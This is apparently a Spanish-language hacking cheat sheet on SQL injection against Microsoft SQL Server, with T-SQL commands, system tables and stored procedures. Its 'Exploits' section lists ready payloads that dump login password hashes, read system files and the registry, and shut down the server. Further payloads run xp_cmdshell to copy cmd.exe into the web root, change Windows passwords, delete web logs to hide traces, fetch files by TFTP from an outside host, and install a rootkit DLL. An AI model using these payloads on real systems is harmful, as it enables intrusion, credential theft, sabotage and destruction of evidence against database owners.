Sei sulla pagina 1di 7

--[ INDEX ]--------------------------------------------------------------------0x01: Introduccin 0x02: Comandos 0x03: Caracteres 0x04: Variables 0x05: Tablas 0x06: Procedimientos 0x07:

Exploits (hacking) 0x08: Jbyte

####### ---[ 0x01: Introduccin ]--- ####### Los ataques de SQL Injection nos permiten diferentes puntos y modos de ataque dependiendo del gestor de Base de Datos que se utilice, cada gestor tiene sus propias caractersticas y lenguaje (Estructured Query language). En este texto nos vamos a centrar en el gestor de base de datos de 'Microsoft' (MS SQL), el cual utiliza su propio lenguaje, llamado TSQL (Transact sql). El motivo de elegir este objetivo como partida de nuestros ataques es por la poc a documentacin que se encuentra sobre la explotacin de esta. He hay la cuestin.

####### ---[ 0x02: Comandos ]--- ####### - Determina la base de datos sobre la que se realizar la consulta. use 'x' use master select * from sysobjects - Seleccin de los campos separados por comas dentro de la tabla seleccionada. select 'x' select username, password from users - Carcter comodn. * select * from users - Seleccin de tablas separadas por comas. from 'x' select * from tabla1,tabla2 - Determina una condicin a cumplir. where 'x' select username,password from users where id=0 or id=1 - Permite ordenar los registros por las columnas deseadas. order by 'x' select username, password from users order by username Desc - Permite realizar agrupaciones de registros. group by 'x' select count(rol) as cuenta, rol from usuarios group by rol - Une dos sentencias sql en una sola. union

select * from users union select * from users2 - Devuelve todos los campos de las tablas. all select * from users union all select * from users2 - Devuelve un determinado nmero de registros de la tabla. top select top 1 from users - Permite borrar registros, archivos, etc. delete delete from users - Quita todas las filas de una tabla sin registrar las eliminaciones. truncate truncate users - Modifica valores de una tabla. update update users set pass='xxx' - Inserta valores en una tabla. insert insert into users values ('joss',null) - Permite crear objetos en la BD. create - Permite destruir objetos en la BD. drop - Permite modificar objetos en la BD. alter - Termina un proceso de usuario basado en el Id. kill 'x' kill 53 - Convierte las expresiones en otros tipos de datos. cast cast (expresin AS tipo de datos)

####### ---[ 0x03: Caracteres ]--- ####### - Delimitador de consultas para lanzar la sentencia actual. ; - Delimitador de cadenas de datos de caracteres y fechas. ' - Delimitador de comentarios. -select * from users-- esto no lo ejecuta - delimitador de comentarios.

/*'x'*/ select * from users/* esto no lo ejecuta*/ - Da inicio al nombre de procedimientos almacenados. xp_sp_ - Llamada a un procedimiento almacenado o funcin. exec execute - Carcter de concatenacin + select+username+from+users

####### ---[ 0x04: Variables ]--- ####### - Fecha y hora actuales. current_timestamp - Nombre de usuario de la BD que realiza la insercin. current_user - Nombre de usuario de sesin que realiza la insercin. session_user - Nombre de usuario de sistema que realiza la insercin. system_user - 0 si la instruccin TSQL anterior no encontr errores. @@error - Nmero de transacciones activas de la conexin. @@tracount - Id de la estacin de trabajo. host_id - Nombre de la estacin de trabajo. host_name - Nos da las estadsticas de entrada y salida de los archivos de BD. fn_virtualfilestats select * from :: fn_virtualfilestats(1,1) - Informacin de los archivos de las distintas Base de Datos. sys.master_files - Contiene los nombres de las unidades compartidas por el servidor. fn_servershareddrives

####### ---[ 0x05: Tablas ]--- ####### - syscolumns, almacena las columnas de cada tabla con sus propiedades. - sysdepends, almacena las dependencias de unos objetos con otros en la BD. - sysfilegroups, asocia los grupos ficheros (mdf, ldf, etc) de la BD a los fiche ros en s.

- sysfiles, almacenan los ficheros fsicos en s con su ruta correspondiente. - sysforeignkeys, almacenan las claves forneas de la BD. - sysfulltextcatalogs, guarda informacin de los catlogos de sistema. - sysindexes, guarda todas las indexaciones de combinaciones de campos sobre tab las de la BD. - syspermissions, guarda permisos sobre los objetos de la BD. - sysproperties, guarda descripciones de tablas y campos del modelo relacional. - sysprotectsque, guarda informacin de permisos asociados a las cuentas de seguri dad de la BD. - sysreferences, guarda la informacin de las relaciones entre tablas de la BD. - systypes, tipos de datos posbiles a definir en el gestor de BDsystypes. - sysusers, roles de inicios de sesin posibles en la BD. - sysfulltextnotify, syscursocolumns, syscursorrefs, syscursors, syscursortables , sysfiles1, syslocks, sysxlogins, etc...

####### ---[ 0x06: Procedimientos ]--- ####### sp_addalias sp_addapprole sp_addgroup sp_addlinkedsrvlogin sp_addlogin sp_addrole sp_addrolemember sp_addumpdevice sp_adduser sp_altermessage sp_approlepassword sp_change_users_login sp_changedbowner sp_changegroup sp_changeobjectowner sp_configure sp_dbcmptlevel sp_dboption (update) sp_dboption update part sp_defaultdb sp_defaultlanguage sp_denylogin sp_diskdefault sp_dropalias sp_dropapprole sp_dropdevice sp_dropgroup sp_droplinkedsrvlogin sp_droplogin sp_dropremotelogin sp_droprole sp_droprolemember sp_dropuser sp_fulltext_catalog sp_fulltext_column sp_fulltext_database sp_fulltext_service sp_fulltext_table sp_grantdbaccess

sp_grantlogin sp_helplogins sp_password sp_recompile sp_refreshview sp_remoteoption sp_remoteoption (update) sp_rename sp_renamedb sp_revokedbaccess sp_revokelogin sp_tableoption sp_updatestats (BOF)--> xp_controlqueueservice xp_createprivatequeue xp_createqueue xp_decodeq ueuecmd xp_deleteprivatequeue xp_deletequeue xp_displayqueuemesgs xp_dsninfo xp_mergelineages xp_oledbinfo xp_proxiedmetadata xp_readpkfromqueue xp_readpkfromvar bin xp_repl_encrypt xp_resetqueue xp_sqlinventory xp_unpackcab

####### ---[ 0x07: Exploits ]--- ####### - Nombres de las distintas base de datos existentes en el gestor de BD: use master select * from sysdatabases - Obtenemos todas las tablas de todas las base de datos: select * from sysobjects where xtype = 'U' - Obtenemos los nombres de todas las tablas contenidas en la base de datos ('x') : use 'x' select * from sysobjects where xtype = 'U' use users select * from sysobjects where xtype = 'U' - Obtenemos todo el cdigo TSQL dado de alta en la BD: select * from syscomments - Obtenemos los procedimientos almacenados que usan las tablas o campos donde se manejan cuentas: select * from syscomments where text like '%cuentas%' - Obtenemos el inicio de sesin actual: select current_user - Obtenemos el usuario de la Base de Datos:

select user - Obtenemos la versin de SQL Server: select @@version - Obtenemos la fecha actual del servidor: select getdate() - Informacin referente a los inicios de sesin del gestor de base de datos: use master select name from sysxlogins select name, password from sysxlogins - Bases de datos existentes en el servidor: use master select name from sysdatabases - Leer archivos del sistema: exec master..xp_readerrorlog 1,N'c:\boot.ini' - Leer el registro de Windows: exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup', 'SQLpath' exec xp_instance_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServe r\Setup','SQLpath' - Utilizacin de waitfor: select * from 'x' waitfor delay '00:00:10' select * from users waitfor delay '00:00:10' - Denegacin de servicio: '; delete table usuarios-'; xp_cmdshell ('shutdown')-- Consultar y alterar archivos en el servidor: exec master..xp_cmdshell 'COPY c:\winnt\system32\cmd.exe c:\inetpub\wwwroot\ chroot.exe' exec master..xp_cmdshell 'DIR c:\winnt\system32\logfiles\w3svc1\' - Parar servicios: exec master..xp_cmdshell 'NET STOP "Servicio de publicacin de World Wide Web" ' - Borrado de huellas: exec master..xp_cmdshell 'DEL c:\winnt\system32\logfiles\w3svc1|filelog.log' - Iniciar un servicio: exec master..xp_cmdshell 'NET START "Servicio de publicacin de World Wide Web "' - Cambiar datos de la cuenta de usuarios de Windows: exec master..xp_cmdshell 'NET USER username password' - Aadir un usuario al inicio de sesin del gestor de base de datos: 'exec master..sp_addlogin MyUser, MyPass - Mover archivos desde otras ubicaciones: execute master..xp_cmdshell 'TFTP -i www.spanish-hackers.com GET c:\local_fi le c:\remote_file' - Creacin de consultas encriptadas: create procedure 'x' with encryption as select * from users

create procedure pp with encryption as select * from users - Rootkits: use master exec sp_addextendedproc 'mi_rootkit', 'c:\Archivos de programa\Mi crosoft SQLServer\ MSSQL\Binn\xplog70.dll' GO - Backup: '; use master BACKUP DATABASE [master] TO DISK = N'C:\h' WITH NOINIT, NOUNLO AD, NAME = N'C', NOSKIP, STATS = 10, NOFORMAT--

####### ---[ 0x08: JosS ]--- ####### Jose Luis Gngora Fernndez (JosS) In memory of rgod. Take care, /JosS # spanish-hackers.com

Potrebbero piacerti anche